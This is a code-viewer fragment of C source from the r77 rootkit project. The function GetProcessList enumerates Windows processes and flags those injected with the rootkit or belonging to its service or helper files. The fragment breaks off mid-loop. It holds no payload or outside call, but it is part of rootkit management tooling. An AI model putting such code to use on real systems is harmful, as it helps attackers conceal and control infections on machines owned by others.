| 13 | } |
| 14 | |
| 15 | BOOL GetProcessList(PPROCESS_LIST_ENTRY entries, LPDWORD count) |
| 16 | { |
| 17 | BOOL result = FALSE; |
| 18 | *count = 0; |
| 19 | |
| 20 | // Get r77 configuration to determine which processes are hidden by ID. |
| 21 | PR77_CONFIG r77Config = LoadR77Config(); |
| 22 | |
| 23 | // Get all processes with an r77 signature. The signature indicates either, |
| 24 | // - that a process is injected with the rootkit, |
| 25 | // - or that it's the r77 service, |
| 26 | // - or that it's an r77 helper file. |
| 27 | |
| 28 | PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); |
| 29 | DWORD r77ProcessCount = 1000; |
| 30 | if (GetR77Processes(r77Processes, &r77ProcessCount)) |
| 31 | { |
| 32 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); |
| 33 | if (snapshot != INVALID_HANDLE_VALUE) |
| 34 | { |
| 35 | PROCESSENTRY32W processEntry; |
| 36 | processEntry.dwSize = sizeof(PROCESSENTRY32W); |
| 37 | |
| 38 | for (BOOL enumerate = Process32FirstW(snapshot, &processEntry); enumerate; enumerate = Process32NextW(snapshot, &processEntry)) |
| 39 | { |
| 40 | PPROCESS_LIST_ENTRY entry = &entries[(*count)++]; |
| 41 | entry->ProcessId = processEntry.th32ProcessID; |
| 42 | StrCpyW(entry->Name, processEntry.szExeFile); |
| 43 | GetProcessPath(processEntry.th32ProcessID, entry->FullName, MAX_PATH); |
| 44 | |
| 45 | BOOL is64Bit; |
| 46 | if (Is64BitProcess(processEntry.th32ProcessID, &is64Bit)) |
| 47 | { |
| 48 | entry->Platform = is64Bit ? 64 : 32; |
| 49 | } |
| 50 | else |
| 51 | { |
| 52 | entry->Platform = -1; |
| 53 | } |
| 54 | |
| 55 | entry->IntegrityLevel = -1; |
| 56 | HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processEntry.th32ProcessID); |
| 57 | if (process) |
| 58 | { |
| 59 | GetProcessIntegrityLevel(process, &entry->IntegrityLevel); |
| 60 | |
| 61 | DWORD userNameLength = 256; |
| 62 | if (!GetProcessUserName(process, entry->UserName, &userNameLength)) |
| 63 | { |
| 64 | entry->UserName[0] = L'\0'; |
| 65 | } |
| 66 | |
| 67 | CloseHandle(process); |
| 68 | } |
| 69 | |
| 70 | for (DWORD i = 0; i < r77ProcessCount; i++) |
| 71 | { |
| 72 | if (r77Processes[i].ProcessId == processEntry.th32ProcessID) |
nothing calls this directly
no test coverage detected